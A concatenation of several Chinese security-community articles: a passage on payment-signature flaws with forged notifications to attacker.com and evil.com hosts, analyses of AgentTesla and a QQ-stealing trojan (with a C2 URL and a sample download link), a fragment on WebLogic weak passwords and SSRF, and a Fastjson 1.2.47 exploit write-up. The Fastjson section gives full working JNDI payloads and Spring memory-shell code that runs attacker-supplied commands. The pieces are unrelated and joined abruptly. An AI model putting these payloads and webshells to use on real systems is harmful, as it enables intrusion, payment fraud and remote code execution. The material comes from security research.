应用这一类签名机制的平台较少，其支付过程可参见图3。
以RSA为例。商户生成一对RSA公私钥对，钱包服务生成一对RSA公私钥对。双方把各自的公钥（金色钥匙）发给对方。
对消息进行签名的过程和基于MD5的过程类似，也是首先将请求按key-value对排序，再使用RSA-SHA1算法（先SHA1再变形再RSA）和对方的RSA公钥生成签名，最后将签名附在原请求中形成完整的请求。
验签过程使用自己的RSA私钥进行验签，具体过程不表。
**3.待签字符串的生成**
以上两类签名机制均依赖于“待签字符串”的生成。在待签字符串的生成过程中有以下三个主要问题：
1\. 参数值为空的情况。在某些平台中，参数值为空的参数在待签字符串中被忽略。在某些平台中则不被忽略。
2\. 参数值的编码问题。在某些平台中，参数值编码后（编码方式也有不同）进入待签字符串。在某些平台中则在解码后进入待签字符串。
3\. 特殊字符问题。由于待签字符串使用&和=作为元字符，因此参数中存在的&和=等字符会影响待签字符串的结构。不同平台对特殊字符的处理也不同。
4\. 进入待签字符串的参数选择。某些平台中，所有参数均进入待签字符串中参与签名生成。而某些平台中只有指定参数才会进入待签字符串中参与运算。
待签字符串的种种性质导致了其“二义性”的出现。在某些情况下，同一个待签字符串可以等价于两个不同请求。例如这个待签字符串
a=A&b=B&c=C&d=D
可以由一个包含四个key-value对的原请求
{"a":"A", "b":"B", "c":"C", "d":"D"}
生成。在某些情况下，还可以由以下包含五个key-value对的原请求生成
{"a":"A", "b":"B", "c":"C", "d":"D", "junk":"JUNK"}
或者，在另一些情况下，可以由以下只包含三个key-value对的原请求生成
{"a":"A&b=B", "c":"C", "d":"D"}
这些变形依赖于“待签字符串”的生成方法。攻击者可以通过构造畸形请求来生成具有相同“待签字符串”的请求，从而绕过签名验证限制。
**支付协议的安全漏洞**
由以上分析，第三方支付过程的安全严重依赖于以下三点：
1.密钥的安全管理
2.支付平台签名算法的正确实现
3\. 商户对支付协议的正确使用
然而在生产环境中每个环节都有可能出错，引起严重的安全隐患。
**1.密钥泄露**
这是最常见的一种安全漏洞。密钥泄漏并不是一种罕见的情况，不少app在开发时，将密钥硬编码在app代码中（用于本地实现签名计算）。消息的完整性依赖于签名的计算，密钥泄漏后消息将无法保证未被篡改或伪造。但对称密钥和不对称密钥泄漏后的利用和危害有所区别。
图4展示了最常见的情况。MD5签名密钥编码在用户App中造成密钥泄露。在对相当多的app进行逆向工程后我们发现，有部分app直接照搬一些样例代码，导致key被直接明文编码到程序中，非常容易提取。还有一部分app作者使用了一些变形手段，例如将key拆成奇数位、偶数位分别存储，或使用特定常数进行异或存储。这些简单变形在熟练的攻击者面前是徒劳的。
由于商户和支付平台共享密钥，密钥泄漏后，攻击者既可以冒充商户向支付平台发送订单消息，又可以冒充支付平台向商户发送支付结果。当然，后者更加直接（如图4）。
例如，若攻击者准备购买一件商品，其订单消息为
notify_url=http://seller.com/notify&out_trade_no=12345&seller=alice&total_fee=100&sign=XXX,
攻击者可以首先通过修改notify_url到攻击者掌控的地址，如http://attacker.com/,提交请求:
notify_url=http://attacker.com/notify&out_trade_no=12345&seller=alice&total_fee=100&sign=XXX
来获得notify_url的结构。再伪造以下消息签名后发送给商户，伪造异步通知，实现免费购物。
target_url: http://seller.com/notify
post_data: put_trade_no=12345&seller=alice&total_fee=100&trade_status=SUCCESS&sign=XXX.
商户收到消息后验证签名正确，所有参数均正确，将完成攻击者的订单。而事实上，攻击者并未进行过任何支付。
另一方面，基于非对称密码体制的签名方案中，私钥泄露后攻击者也可以进行攻击。但是仍依赖于其他的逻辑漏洞。攻击者只能获取商户的私钥，而支付平台的私钥往往被妥善保护无法获得。因此，攻击者无法冒充支付平台向商户发送支付成功的消息，而只能冒充商户向支付平台伪造订单或者篡改订单，修改支付金额。
如图5所示，若攻击者准备购买一件商品，其订单消息为
notify_url=http://seller.com/notify&out_trade_no=12345&seller=alice&total_fee=100&sign=XXX
攻击者修改金额，使用私钥重新签名，并提交支付订单
notify_url=http://seller.com/notify&out_trade_no=12345&seller=alice&total_fee=1&sign=XXX
成功支付1元后，商户会收到支付结果消息
out_trade_no=12345&seller=alice&total_fee=1&trade_status=SUCCESS&sign=XXX
商户进行消息的验证，会发现签名正确，商户号正确，订单12345支付成功。若商户没有验证支付金额与订单是否匹配，将完成攻击者的订单。从而攻击者以1元购买了100元的商品。在许多App中，曾出现过只验证签名和订单id的情况，没有验证实付金额，因此可以通过这种金额篡改进行攻击。
为了防御这样的攻击，商家一定要修改app和服务端的设计，使得签名全部在服务端进行。网上充斥着大量可以直接照搬的富含漏洞的样例代码，一定不要简单修改这些代码就直接接入支付平台。此外，每笔交易均要进行查账，验证钱真的得到了支付，才可以标记订单为成功支付。
一旦出现这样的秘钥泄漏商家将面临严峻的安全风险，支付平台也将面临严重的连带品牌危机。发生这样的危机时，如果简单的替换秘钥将会直接导致老App客户端无法进行交易，如果不替换则将面临严峻的支付风险。目前临时缓解方案是依靠商家服务后台与钱包服务后台的增强校验和风控来探测和抵抗攻击。
**2.签名算法实现错误**
签名泄露只影响个别自己实现错误的商家，而支付平台的漏洞则会影响千万商家。在这一节我们讨论我们提交给两个国内著名支付平台的平台漏洞，他们均已得到修复。
**案例一**
第三方支付平台A采用了对称密钥的设计，并提供了服务端SDK供商家集成。服务端SDK提供了API验证签名是否正确。
在PHP和C#的SDK实现中，当签名字段不存在时，SDK会直接返回签名正确，这就导致了攻击者可以直接冒充支付平台向商户发送伪造的支付结果消息并通过签名认证。
以PHP版代码为例
public function CheckSign()
{
if(!$this->IsSignSet()){
returntrue;
}
$sign = $this->MakeSign();
if($this->GetSign() == $sign){
returntrue;
}
throw newException("签名错误！");
}
public function IsSignSet()
{
return array_key_exists('sign', $this->values);
}
检查签名时，首先会利用函数 IsSignSet判断签名是否存在。若签名不存在，直接认为签名正确。
由于该支付平台要求商户服务器将订单（包括通知URL）发送给支付服务器获取一个ID，随后商户应用将ID传递给支付客户端调起支付界面，在实际攻击中，
攻击者还需要从其他渠道获取通知URL（例如路径猜测、URL硬编码或存在网络请求中等）才可伪造支付结果。
**案例二**
支付平台B采用了非对称密钥的设计，每个商户有自己的一套公钥私钥，但支付平台的公钥私钥仅一套，即所有商户使用同一个公钥验证来自支付平台的消息。
除此以外，订单消息和支付结果消息中包含字段body描述商品信息，且订单消息和对应支付结果消息中的body一致。
如果攻击者希望免费(低价)购物,应该如何进行呢？回顾上文中关于待签字符串二义性的讨论，待签字符串为形如：
key1=value1&key2=value2&key3=value3
的格式。&和=作为了连接符号。
如果某一个参数值(value)中包含&和=符号，待签字符串和原始的参数集合就可能不再是一对一，即存在多组参数集合对应同一组待签字符串。
例如：参数集合
{"key1":"value1","key2":"value2&key3=fake_value&zend_key=a", "key3":"value3"}
的待签字符串为
key1=value1&key2=value2&key3=fake_value&zend_key=a&key3=value3
考虑另一个参数集合
{"key1":"value1","key2":"value2", "key3":"fake_value","zend_key":"a&key3=value3"}
的待签字符串同为
key1=value1&key2=value2&key3=fake_value&zend_key=a&key3=value3
两组集合的待签字符串一样，但key3的值不同。攻击者若知道其中一组的签名，便知道另一组参数在相同密钥下的签名了。
有了这个发现，如何在实际中利用并实现免费(低价)购物呢? 攻击者需要“骗一个畸形订单支付成功的签名”！
首先，攻击者需要拥有一个商户evil的私钥（可自行注册或利用已泄漏密钥）
现在攻击者准备向商户alice购买一件商品，正常的订单消息参数为
{"body":"商品A"，"notify_url":"http://seller.com/notify","out_trade_no":"12345","seller":"alice", "total_fee":"100","sign":"XXX"}
若订单支付成功，支付结果的参数应为
{"body":"商品A","out_trade_no":"12345", "seller":"alice", "total_fee":"100", "trade_status":"SUCCESS","sign":"YYY"}，
因此，攻击者的目标是向http://seller.com/notify发送一个支付完成的消息，并且包含
{"body":"商品A", "out_trade_no":"12345", "seller":"alice", "total_fee":"100", "trade_status":"SUCCESS"}
这些参数和正确的签名。
这样一条消息会经过支付平台的签名，攻击者无法直接伪造。但是前面提到，所有商户使用同一个公钥验证来自支付平台的消息，也就是说支付平台发给商户evil的消息若转发给商户alice，签名可以通过验证，仅仅是商户号等参数值不正确。因此，攻击者可以考虑利用evil的支付结果来伪造给alice的支付结果。
攻击者首先发给支付平台一个属于商户Evil的订单消息
{“body”:“商品A&out_trade_no=12345&seller=alice&total_fee=100&trade_status=SUCCESS&z=”，“notify_url”:“http://evil.com/notify”, “out_trade_no”:”12345”,“seller”:“evil”, “total_fee”:“1”， “sign”:“XXXX”}，
支付1元后，http://evil.com/notify会收到支付结果，并且经过了支付平台签名。
{“body”:“商品A&out_trade_no=12345&seller=alice&total_fee=100&trade_status=SUCCESS&z=”， “out_trade_no”:”12345”, “seller”:“evil”, “total_fee”:“1”,“trade_status”:“SUCCESS”, “sign”:“signed by payment platform”}，
攻击者可以将其变换为
{“body”:“商品A”,“out_trade_no”:“12345”，“seller”:“alice”, “total_fee”:“100”, “trade_status”:“SUCCESS”,“z”:“&out_trade_no=12345&seller=evil&total_fee=1&trade_status=SUCCESS”, “sign”:“signed by payment platform”}
然后发送给商户Alice的URL
http://seller.com/notify。这些数据具有正确的签名和期望的商家号、订单号、支付金额，将会通过alice验证，从而alice会通过攻击者的订单。
攻击者因此实现了免费(低价)购物。
**3\. 商户验证支付结果时存在逻辑错误**
**3.1.签名验证**
尽管支付平台提供了服务端SDK，商户后端在实现逻辑时可能并未使用SDK。那么，商户应正确实现签名的验证逻辑，避免相关逻辑错误，如签名不存在时通过签名验证。
**3.2.总金额、商户号的验证**
商户在收到支付结果通知，验证完签名后，还应正确处理支付结果中的相关参数。支付金额、商户号都应该被验证。
当支付金额未被验证，攻击者可以支付较低的费用实现购物。支付金额不一致可能是订单消息在签名之前金额被篡改或是攻击者伪造了订单消息（参考不对称密钥泄漏）。
若商户号未被验证，攻击者可以考虑复用另一商户的支付结果，对当前商户进行攻击。攻击发生的条件在于发给不同商户的支付结果使用了同样的私钥签名，同时攻击者注册了自己商户。攻击者生成一个订单，支付给自己的商户后，将支付结果复用。
若商户号和总金额均未被验证，攻击者还可以再次考虑复用另一商户的支付结果对当前商户进行攻击。虽然复用支付结果仍要求发给不同商户的支付结果使用了同样的私钥签名，但攻击者不再需要注册自己的商户，而是利用已泄漏的商户密钥。实现攻击时，攻击者生成一个费用较低的订单，完成支付后复用支付结果。
**3.3.只在客户端验证**
在用户完成支付后，支付平台往往既会异步通知商户服务器支付结果，又会同步通知商户客户端支付结果以向用户展示。
然而，支付结果的验证应在服务端完成。仅在客户端验证将容易受到攻击。攻击者可以直接修改客户端逻辑实现免费购物。
**总结**
本文总结了常见支付平台的支付过程的机制，探讨了其中存在和可能存在的问题，并通过实例展现了商户端和支付平台出现的安全问题。除了本文中探讨的问题，还有许许多多安全隐患在近年得到不断修正。总的来说现在的网上支付还是比较可靠的。在下篇中我们继续对基于MD5的消息签名机制进行讨论，发掘更多的安全问题。
**参考文献**
1.微信支付安全规范,<https://pay.weixin.qq.com/wiki/doc/api/app/app.php?chapter=4_3>
2.支付宝手机网站支付:签名与验签,
2016年5月30日版,[https://doc.open.alipay.com/docs/doc.htm?treeId=60&articleId=104741&docType=1](https://doc.open.alipay.com/docs/doc.htm?treeId=60&articleId=104741&docType=1)
3.支付宝手机网站支付结果异步通知,
2017年1月9日版,[https://doc.open.alipay.com/docs/doc.htm?treeId=203&articleId=105286&docType=1](https://doc.open.alipay.com/docs/doc.htm?treeId=203&articleId=105286&docType=1)
4.支付宝App支付同步返回,
2017年1月9日版,[https://doc.open.alipay.com/docs/doc.htm?treeId=204&articleId=105302&docType=1](https://doc.open.alipay.com/docs/doc.htm?treeId=204&articleId=105302&docType=1)
5.支付宝App支付异步通知,
2017年1月9日版,[https://doc.open.alipay.com/docs/doc.htm?treeId=203&articleId=105286&docType=1](https://doc.open.alipay.com/docs/doc.htm?treeId=203&articleId=105286&docType=1)
6.百度钱包商户接入流程,<https://b.baifubao.com/sp_register/0/page_controller/0?page=access_process>
7.新浪支付开发指南,V1.0和V2.0回调接口,[http://open.weibo.com/wiki/支付开发指南](http://open.weibo.com/wiki/%E6%94%AF%E4%BB%98%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%97)
8.网银在线,京东支付接口文档, <https://www.chinabank.com.cn/service/support.jsp>
9.腾讯财付通支付网关商户开发指南,<http://support.tenpay.com/demo/tenpay_wangguan.zip>
10.快钱人民币支付网关商户接口规范,
<https://github.com/hoosin/pay/blob/master/%E5%BF%AB%E9%92%B1%E4%BA%BA%E6%B0%91%E5%B8%81%E6%94%AF%E4%BB%98%E7%BD%91%E5%85%B3%E5%95%86%E6%88%B7%E6%8E%A5%E5%8F%A3%E8%A7%84%E8%8C%83.pdf>
11.支付平台伪造支付结果漏洞,<https://virusdefender.net/index.php/archives/155/>
12.阿里飞猪信用住服务器异步通知接口,[https://open.alitrip.com/docs/doc.htm?&docType=1&articleId=104043](https://open.alitrip.com/docs/doc.htm?&docType=1&articleId=104043)
13.AnySDK, H5通知接口,<http://docs.anysdk.com/faq/h5-special-notice/> | 社区文章 |
# 冒充医疗科技公司邮件，传播间谍窃密木马
##### 译文声明
本文是翻译文章，文章原作者 安全分析与研究，文章来源：安全分析与研究
原文地址：[安全分析与研究](安全分析与研究)
译文仅供参考，具体内容表达以及含义原文为准。
朋友微信联系我，说遇到一个钓鱼邮件，问我有没有兴趣看看，邮件转发给我，如下所示：
邮件伪装成绍兴安迪医疗科技有限公司关于COVID-19疫情订单票据信息，附件是一个恶意程序，通过分析发现邮件附件携带的就是最近非常流行的AgentTesla间谍窃密木马
AgentTesla原本是一款在2014年发布的简单的键盘记录器，最近年来其开发团队为其不断修改它的源代码，在原有的功能上又增加了许多新功能，并且在地址黑客论坛宣传出售，AgentTesla目前已成为一个商业化的流行间谍窃密木马，该木马主要通过钓鱼邮件进行传播，目前这款间谍窃密木马在全球范围内都非常流行，主要用于窃取受害者主机的重要数据
1.样本采用NET语言进行编写，如下所示：
2.样本采用Eazfuscator进行混淆处理，如下所示：
3.反混淆之后，如下所示：
4.解密程序中的字符串，然后加载执行，如下所示：
5.解密出来的数据，如下所示：
6.调用解密后程序的SearchFigure函数，如下所示：
7.解密程序资源数据，然后加载执行，如下所示：
8.程序中包含的资源数据，如下所示：
9.编写程序解密资源数据，得到窃密木马核心代码，如下所示：
10.通过分析发现这是AgentTesla窃密木马，如下所示：
11.捕获到的黑客URL地址hxxp://scarfponcho[.]com/notsite/five/fre.php，IP地址位于美国地区，如下所示：
现在各种恶意软件横行，勒索、窃密、僵尸网络成为了全球黑客组织谋利的重要武器，通过窃密木马盗取目标的重要数据，然后再利用勒索病毒对重要数据进行加密勒索，有些黑客组织通过组织物联网僵尸网络对指定的目标发起毁灭性的DDOS攻击，导致目标设备无法运行，达到网络攻击的目的，很多企业中了窃密木马，还不知道，勒索病毒更是屡禁不止，每天都有旧的勒索病毒变种出现，同时又涌现出各种新型的勒索病毒家族，全球网络安全形势严峻，现在很多单位中了勒索都选择默默交钱，有一些还存在瞒报的情况，这也导致勒索病毒黑客组织越来越多，攻击越来越频繁，僵尸网络主要以Mirai变种或新型的基于各种不同平台的僵尸网络家族为主
常常有读者朋友通过微信或其他方式给我发送一些新的恶意软件或遇到的一些网络攻击案例，非常感谢这些朋友或读者给我提供这些最新的攻击样本，同时也欢迎各位读者朋友，不管是你的企业，还是你个人遇到了一些网络安全攻击事件，都可以通过微信或邮件给我提供各种相关的威胁情报，样本、域名、IP地址、钓鱼邮件、钓鱼网站等等
我常常说安全的路很长，未来一定会需要更多专业的安全人才，希望各位正在从事安全领域的安全研究人员，千万不要被现在圈子里的一些浮燥的东西所影响，沉下心来，踏踏实实去研究点东西，坚持做下去，其实不管哪家公司，不管它以前发展的有多么壮大，取得了什么成绩，都已经成为了过去，如果后面没有更多的努力，积极向上，追求优秀的人才，这家公司未来一定是走下坡路的，任何一家公司都是这样，就算是像现在BAT这样的公司，如果不持续发展，没有更多努力奋斗的人持续不断的努力，未来十年，结果也一样的，漠落都只是时间的问题而已，公司现在的一点点成绩，可能是因为前面二三十年的坚持与积累，同时又正好赶上了风口取得的，但现在的这一点点成绩，还远远不够，如果大家都只顾着吃老本，骄傲自满，固步自封，夜郎自大，井底之蛙，那公司很快就会走下坡路，公司要想长期的发展壮大，未来取得更好的成绩，就需要持续不断的努力前行，安全行业，未来一定是有前途的，如果你真的对安全感兴趣，坚持去做，多多积累就可以了 | 社区文章 |
# 恶意软件分析之盗号木马
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、基本信息
样本文件: 萌妹变声器.exe
MD5: c60ae3b94c83fbd7978df31c65090458
传播途径:利用QQ群邮件传播
样本下载地址: https://www.lanzous.com/i2dtued
## 二、详细分析流程
无意中发自己小号加入的一个群里经常发这种玩意,出于好奇下载一个研究下
下载到本地360卫士,直接删除了,于是添加白名单
为了节约时间先上传某勃分析系统发现,
提示没有风险,关键信息透露的也很少,需要更多叫我升级(意思收钱),不理他
### 1.先查壳
没有壳,使用vs2015及以上版本编写
### 2.IDA静态分析
查看导入表,发现一些比较可疑的API,比对发现软件使用了CURL开源库
初步确认,这应该是一个win32程序,开始表演…….直接从程序入口查找wmain函数.
mian函数里面就普通的窗口创建,比较可疑的就是窗口影藏.去窗口过程查看
发现在响应窗口创建消息的时候,调用了2个函数和创建一个线程.先去第一个函数查看发现,里面安装了2个钩子函数,一个键盘一个鼠标,分析到这里,可以初步确认为恶意软件.
分别再去钩子函数查看,他有记录键盘和鼠标操作的行为,可以确认该恶意软件为木马.
记录键盘操作
获取剪贴板内容
记录鼠标操作
钩子安装完后创建线程,线程功能为获取顶层窗口标题文本,检测是否有符合条件的窗口
获取到键盘记录后就发送到收信箱子
创建完后调用一个函数,这个函数首先为发起一次http请求,请求地址为收信箱子,内容为一个name的标识.
通过wireshark抓包确认
然后执行到下面再创建线程去获取QQkey
线程函数里面分为2步,获取QQ号 获取QQkey
因为获取QQ号的那个端口不是固定的,他这里循环遍历端口430+i
发送构造好的http包,当返回正确的QQ号后函数返回
拿到QQ开始获取QQkey
还在构造http请求包
构造完发送请求
OD分析确认:
## 总结
木马在创建窗口的时候安装键盘和鼠标钩子,再创建线程检测顶层窗口标题,并且记录键盘,当鼠标转移的时候就整理键盘记录发送到箱子,创建线程完发送一个确认连接到箱子,后面再创建线程构造http包,获取QQ号,通过返回的QQ号来获取QQkey,获取到Key后就发送到服务器.该木马使用了CURL来进行http通信,而且木马没有注册表操作,也就是说进程结束后就不会启动. | 社区文章 |
# SpringMVC配合Fastjson的内存马利用与分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## SpringMVC
Spring MVC是一种基于Java的实现了Web
MVC设计模式的请求驱动类型的轻量级Web框架，即使用了MVC架构模式的思想，将web层进行职责解耦，基于请求驱动指的就是使用请求-响应模型，框架的目的就是帮助我们简化开发，Spring Web MVC也是要简化我们日常Web开发的
总而言之，SpringMVC框架使用范围极广。笔者大二曾参与多个实际上线Java项目的开发，他们的框架都包含了SpringMVC
下面做一个基本的功能演示：
@Controller
public class TestController {
@RequestMapping("/test")
@ResponseBody
public String test(){
return "<h1>hello world</h1>";
}
}
以上代码实现了用户访问`localhost:8080/test`后返回html代码`<h1>hello world</h1>`
## 搭建环境
笔者为了方便搭建环境，采用了SpringBoot，JDK为8u131，使用Fastjson创造反序列化利用点
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.47</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
</dependencies>
创造一个反序列化利用点
// 使用fastjson 1.2.47模拟利用点
import com.alibaba.fastjson.JSON;
@Controller
public class TestController {
@RequestMapping("/deserialize")
@ResponseBody
public String deserialize(@RequestParam String code) throws Exception{
// 本地JDK版本过高，为了方便，直接设置系统变量以成功利用JNDI注入
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
JSON.parse(code);
return "deserialize";
}
}
## 漏洞利用
首先尝试弹出计算器，确保利用成功后再尝试内存马
攻击者启动`JNDI Server`
public class JNDIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("badClassName",
"com.test.shell.badClassName","http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit", referenceWrapper);
}
}
其中的`badClassName`代码如下，在静态代码块中执行计算器命令
package com.test.shell;
public class badClassName {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
}
`Reference`的`factoryLocation`为class文件的http服务器，笔者使用Golang做了简单的路径映射
注意：不能直接映射到badClassName当前路径，而是classes路径
func main() {
mux := http.NewServeMux()
path := "YourPath\\Fastjson\\target\\classes"
mux.Handle("/", http.StripPrefix("/", http.FileServer(http.Dir(path))))
if err := http.ListenAndServe(":8000", mux); err != nil {
fmt.Println("ok")
}
}
图片是访问`/com/test/shell`后的效果
使用Golang发送Fastjson的`JdbcRowSetImpl`类型的Payload
func main() {
clint := &http.Client{}
payload := "{\n" +
" \"a\":{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
" },\n" +
" \"b\":{\n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n" +
" \"autoCommit\":true\n" +
" }\n" +
"}"
// 防止出现意外问题，对Payload进行URL编码
resp, err := clint.Get("http://127.0.0.1:8080/deserialize?code=" + url.QueryEscape(payload))
if err != nil {
fmt.Println(err)
}
fmt.Println(resp.StatusCode)
}
当我们发送后发现成功弹出计算器
既然分析到此处，顺便来看一下1.2.47版本绕过和`JdbcRowSetImpl`的原理，使用a和b两个对象，为了将a设置到缓存`mapping`中在第二个对象加载时绕过哈希黑名单和关闭动态类型机制。`JdbcRowSetImpl`对象我们设置其`autoCommit`属性为`true`是因为在`setAutoCommit`方法中有如下代码
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
由于没有设置`this.conn`代码会进入`this.connect`，其中包含了
`lookup(this.getDataSourceName())`的代码。这里的`dataSourceName`正是传入的值，在这里被当作参数传入`lookup`函数，然后前往JNDI
Server使用对应的协议寻找，由于JDNI绑定Reference，这里会加载到本地，实例化
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
......
## 内存马
上文已经成功弹出计算器了，说明笔者创造的漏洞点生效，下面将介绍内存马
该内存马代码参考网上大佬的博客，做了一些修改，本文后续正是采用此方法（将在后文给出大佬博客链接）
package com.test.shell;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class InjectToController {
public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
// 关于获取Context的方式有多种
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
// 通过反射获得该类的test方法
Method method2 = InjectToController.class.getMethod("test");
// 定义该controller的path
PatternsRequestCondition url = new PatternsRequestCondition("/good");
// 定义允许访问的HTTP方法
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 构造注册信息
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 创建用于处理请求的对象，避免无限循环使用另一个构造方法
InjectToController injectToController = new InjectToController("aaa");
// 将该controller注册到Spring容器
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
// 第二个构造函数
public InjectToController(String aaa) {
}
public void test() throws IOException {
// 获取请求
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
// 获取请求的参数cmd并执行
// 类似于PHP的eval($_GET["cmd"])
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
注意网上给出的这部分代码在高版本SpringMVC中无效，并且找不到合适的替代。这部分代码的目的是防止注册重复path，这种问题其实不需要这种复杂处理，对上文中`/good`部分的path替换为`/Go0D`等组合即可，因为正常的业务代码不可能定义这类特殊的path
Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
这是Controller形的内存马，同时存在Interceptor型的内存马。Interceptor名为拦截器，类似Filter，常用于处理权限问题，有兴趣的师傅可以尝试
public class TestInterceptor extends HandlerInterceptorAdapter {
public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {
// 获取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 从context中获取AbstractHandlerMapping的实例对象
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
// 反射获取adaptedInterceptors属性
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping);
// 避免重复添加
for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {
if (adaptedInterceptors.get(i) instanceof TestInterceptor) {
System.out.println("已经添加过TestInterceptor实例了");
return;
}
}
TestInterceptor aaa = new TestInterceptor("aaa"); // 避免进入实例创建的死循环
adaptedInterceptors.add(aaa); // 添加全局interceptor
}
private TestInterceptor(String aaa) {
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code = request.getParameter("code");
// 不干扰正常业务逻辑
if (code != null) {
java.lang.Runtime.getRuntime().exec(code);
return true;
} else {
return true;
}
}
}
注意其中的这部分代码在高版本SpringMVC中会遇到错误，导致无法注册Interceptor。由于时间关系，笔者并未尝试寻找替代类，有兴趣的师傅可以寻找合适的高版本利用方式
context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
提供landgrey师傅文章中获取context的几种方式，测试高版本SpringMVC可用的如下
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
// 本文的方式
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
说了这么多，还没进行内存马的利用，改下JNDI Server
public class JNDIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("InjectToController",
"com.test.shell.InjectToController", "http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit", referenceWrapper);
}
}
访问`localhost:8080/good?cmd=calc`，成功生成内存马
## 写在后面
关于本文有几处思考：
1.目前的内存马是无回显的，可以修改代码实现回显
2.笔者模拟的利用点是Fastjson反序列化，是否有其他方式（思路：SPEL型RCE，SSTI…）
3.既然Spring可以，那Struts2/Tomcat，甚至国产框架JFinal等框架是否也可以有类似的思路
## 参考链接
<https://landgrey.me/blog/12/>
<https://landgrey.me/blog/19/>
<https://xz.aliyun.com/t/9344>
<https://www.cnblogs.com/bitterz/p/14859766.html>
<https://www.cnblogs.com/bitterz/p/14820898.html> | 社区文章 |
> Author:[email protected]
#### 1\. 管理员登录页面弱密码
Weblogic的端口一般为`7001`，弱密码一般为`weblogic`/`Oracle@123` or
`weblogic`，或者根据具体情况进行猜测，公司名，人名等等，再有就可以用 **burpsuite** 的 **intruder**
进行暴力破解，一旦成功就可以上传`war`包 **getshell**.
#### 2\. weblogic ssrf
Oracle WebLogic web server即可以被外部主机访问，同时也允许访问内部主机。如果存在此url
<http://192.168.8.128:7001/uddiexplorer/SearchPublicRegistries.jsp>
都会存在`ssrf`.下面我们监听一下`192.168.1.59:139`的`139`端口（`开启`）跟`138`端口（`未开启`）的返回，端口的开启情况
http://192.168.8.128:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://192.168.1.59:139&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
